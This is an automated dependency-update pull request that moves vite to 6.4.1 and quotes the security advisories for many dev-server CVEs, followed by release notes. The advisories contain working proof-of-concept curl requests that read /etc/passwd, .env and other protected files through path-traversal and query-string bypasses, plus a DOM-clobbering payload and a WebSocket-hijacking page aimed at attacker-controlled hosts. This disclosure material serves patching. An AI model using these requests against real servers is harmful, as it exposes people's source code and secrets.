Chore: Update vite to v6.4.1 [SECURITY] #174

renovate · 2024-01-19T22:17:41Z

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	`6.2.5` -> `6.4.1`

GitHub Vulnerability Alerts

CVE-2024-23331

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected]

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
Created dummy secret files, e.g. custom.secret and production.pem
Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

CVE-2025-24010

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

Using the backend integration feature
Using a reverse proxy in front of Vite
Accessing the development server via a domain other than localhost or *.localhost
Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than `localhost` or `*.localhost`

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

fix the plugin / framework code to the make it compatible with the new version of Vite
set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
- When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).
The user accesses the malicious web page.
The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).
The user accesses the malicious web page.
The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
The user edits some files.
Vite sends some HMR messages over WebSocket.
The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
The user accesses the malicious web page.
The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
The attacker sends a fetch('/main.js') request by JS in that malicious web page.
The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

get the source code stolen by malicious websites
give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

get the source code stolen by malicious websites
give the attacker access to functionalities that are not supposed to be exposed externally
- Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

I used the react template which utilizes HMR functionality.

npm create vite@latest my-vue-app-react -- --template react

Then on a malicious server, serve the following POC html:

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>

Kick off Vite

npm run dev

Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
Edit src/App.jsx file and intentionally place a syntax error
Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

CVE-2025-31125

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

CVE-2025-31486

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

`.svg`

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

CVE-2025-32395

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)
running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@&#8203;fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

CVE-2025-30208

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2025-46565

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

CVE-2025-58752

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

CVE-2025-58751

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
uses the public directory feature (enabled by default)
a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)
running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

Release Notes

vitejs/vite (vite)

`v6.4.1`

Compare Source

Please refer to CHANGELOG.md for details.

`v6.4.0`

Compare Source

Please refer to CHANGELOG.md for details.

`v6.3.7`

Compare Source

Please refer to CHANGELOG.md for details.

`v6.3.6`

Compare Source

Please refer to CHANGELOG.md for details.

`v6.3.5`

Compare Source

Today, we're excited to announce the release of the next Vite major:

Vite 7.0 announcement blog post
Docs (translations: 简体中文, 日本語, Español, Português, 한국어, Deutsch, فارسی)
Migration Guide

⚠ BREAKING CHANGES

ssr: don't access Object variable in ssr transformed code (#19996)
remove experimental.skipSsrTransform option (#20038)
remove HotBroadcaster (#19988)
css: always use sass compiler API (#19978)
bump build.target and name it baseline-widely-available (#20007)
bump required node version to 20.19+, 22.12+ and remove cjs build (#20032)
css: remove sass legacy API support (#19977)
remove deprecated HotBroadcaster related types (#19987)
remove deprecated no-op type only properties (#19985)
remove node 18 support (#19972)
remove deprecated hook-level enforce/transform from transformIndexHtml hook (#19349)
remove deprecated splitVendorChunkPlugin (#19255)

Features

types: use terser types from terser package (#20274) (a5799fa)
apply some middlewares before configurePreviewServer hook (#20224) (b989c42)
apply some middlewares before configureServer hook (#20222) (f5cc4c0)
add base option to import.meta.glob (#20163) (253d6c6)
add this.meta.viteVersion (#20088) (f55bf41)
allow passing down resolved config to vite's createServer (#19894) (c1ae9bd)
buildApp hook (#19971) (5da659d)
build: provide names for asset entrypoints (#19912) (c4e01dc)
bump build.target and name it baseline-widely-available (#20007) (4a8aa82)
client: support opening fileURL in editor (#20040) (1bde4d2)
make PluginContext available for Vite-specific hooks (#19936) (7063839)
resolve environments plugins at config time (#20120) (f6a28d5)
stabilize css.preprocessorMaxWorkers and default to true (#19992) (70aee13)
stabilize optimizeDeps.noDiscovery (#19984) (6d2dcb4)

Bug Fixes

deps: update all non-major dependencies (#20271) (6b64d63)
keep import.meta.url in bundled Vite (#20235) (3bf3a8a)
module-runner: export ssrExportNameKey (#20266) (ac302a7)
module-runner: expose normalizeModuleId (#20277) (9b98dcb)
deps: update all non-major dependencies (#20181) (d91d4f7)
deps: update all non-major dependencies (#20212) (a80339b)
align dynamic import detection (#20115) (1ea2222)
applyToEnvironment after configResolved (#20170) (a330b80)
deps: update all non-major dependencies (#20141) (89ca65b)
handle dynamic import with .then(m => m.a) (#20117) (7b7410a)
hmr: use monotonicDateNow for timestamp (#20158) (8d26785)
optimizer: align relative build.rollupOptions.input resolution with rollup (#20080) (9759c29)
ssr: don't access Object variable in ssr transformed code (#19996) (fceff60)
types: prefer sass-embedded types over sass types for preprocessorOptions.sass (fix #20150) (#20166) (7db56be)
virtual svg module (#20144) (7dfcb31)
client: render the last part of the stacktrace (#20039) (c7c1743)
cli: make cleanGlobalCLIOptions() clean --force (#19999) (d4a171a)
css: remove alias exclude logic from rebaseUrl (#20100) (44c6d01)
css: sass rebase url in relative imported modules (#20067) (261fad9)
css: should not wrap with double quote when the url rebase feature bailed out (#20068) (a33d0c7)
deps: update all non-major dependencies (#19953) (ac8e1fb)
deps: update all non-major dependencies (#20061) (7b58856)
importing an optional peer dep should throw an runtime error (#20029) (d0221cd)
merge environments.*.resolve.noExternal properly (#20077) (daf4a25)
merge server.allowedHosts: true correctly (#20138) (2ade756)
optimizer: non object module.exports for Node builtin modules in CJS external facade (#20048) (00ac6e4)
optimizer: show error when computeEntries failed (#20079) (b742b46)
treat all optimizeDeps.entries values as globs (#20045) (1422395)
types: expose additional PluginContext types (#20129) (b6df9aa)

Performance Improvements

utils: improve performance of numberToPos (#20244) (3f46901)

Documentation

tiny typo (#20110) (d20fc2c)

Miscellaneous Chores

"indentity" → "identity" in test description (#20225) (ea9aed7)
deps: update rolldown-related dependencies (#20270) (f7377c3)
typos in comments (#20259) (b135918)
deps: update rolldown-related dependencies (#20182) (6172f41)
deps: update rolldown-related dependencies (#20211) (b13b7f5)
add a way to disable source maps when developing Vite (#20168) (3a30c0a)
deps: update rolldown-related dependencies (#20140) (0387447)
fix source map support when developing Vite (#20167) (279ab0d)
use destructuring alias in buildEnvironment function (#19472) (501572a)
declare version range for peer dependencies (#19979) (c9bfd57)
deprecate ResolvedConfig.createResolver and recommend createIdResolver (#20031) (d101d64)
fix comment for devEnvironmentOptions.moduleRunnerTransform (#20035) (338081d)
generate dts internally by rolldown-plugin-dts (#20093) (a66afa3)
remove deprecated splitVendorChunkPlugin (#19255) (91a92c7)
remove node 18 support (#19972) (00b8a98)
remove redundant word in comment (#20139) (9b2964d)
remove unused deps (#20097) (d11ae6b)
rename rollup to rolldown where appropriate (#20096) (306e250)
speed up typechecking (#20131) (a357c19)
use plugin hooks filter for patch-types plugin for bundling vite (#20089) (c127955)
use rolldown to bundle Vite itself (#19925) (7753b02)
use rolldown-plugin-dts for dts bundling (#19990) (449d7f3)

Code Refactoring

worker: set virtual file content in load hook (#20160) (0d60667)
bump required node version to 20.19+, 22.12+ and remove cjs build (#20032) (2b80243)
css: always use sass compiler API (#19978) (3bfe5c5)
css: remove sass legacy API support ([#19977](https://redirect.github.com

Configuration

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GitHub Vulnerability Alerts

Summary

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PoC

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Impact

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PoC

Summary

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PoC

Impact

Patch

Summary

Upgrade Path

Using the backend integration feature

Using a reverse proxy in front of Vite

Accessing the development server via a domain other than localhost or *.localhost

Using a plugin / framework that connects to the WebSocket server on their own from the browser

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

[2]: Lack of validation on the Origin header for WebSocket connections

[3]: Lack of validation on the Host header for HTTP requests

Details

[1]: Permissive default CORS settings

[2]: Lack of validation on the Origin header for WebSocket connections

[3]: Lack of validation on the Host header for HTTP requests

Impact

[1]: Permissive default CORS settings

[2]: Lack of validation on the Origin header for WebSocket connections

[3]: Lack of validation on the Host header for HTTP requests

Related Information

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

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PoC

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.svg

relative paths

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Accessing the development server via a domain other than `localhost` or `*.localhost`

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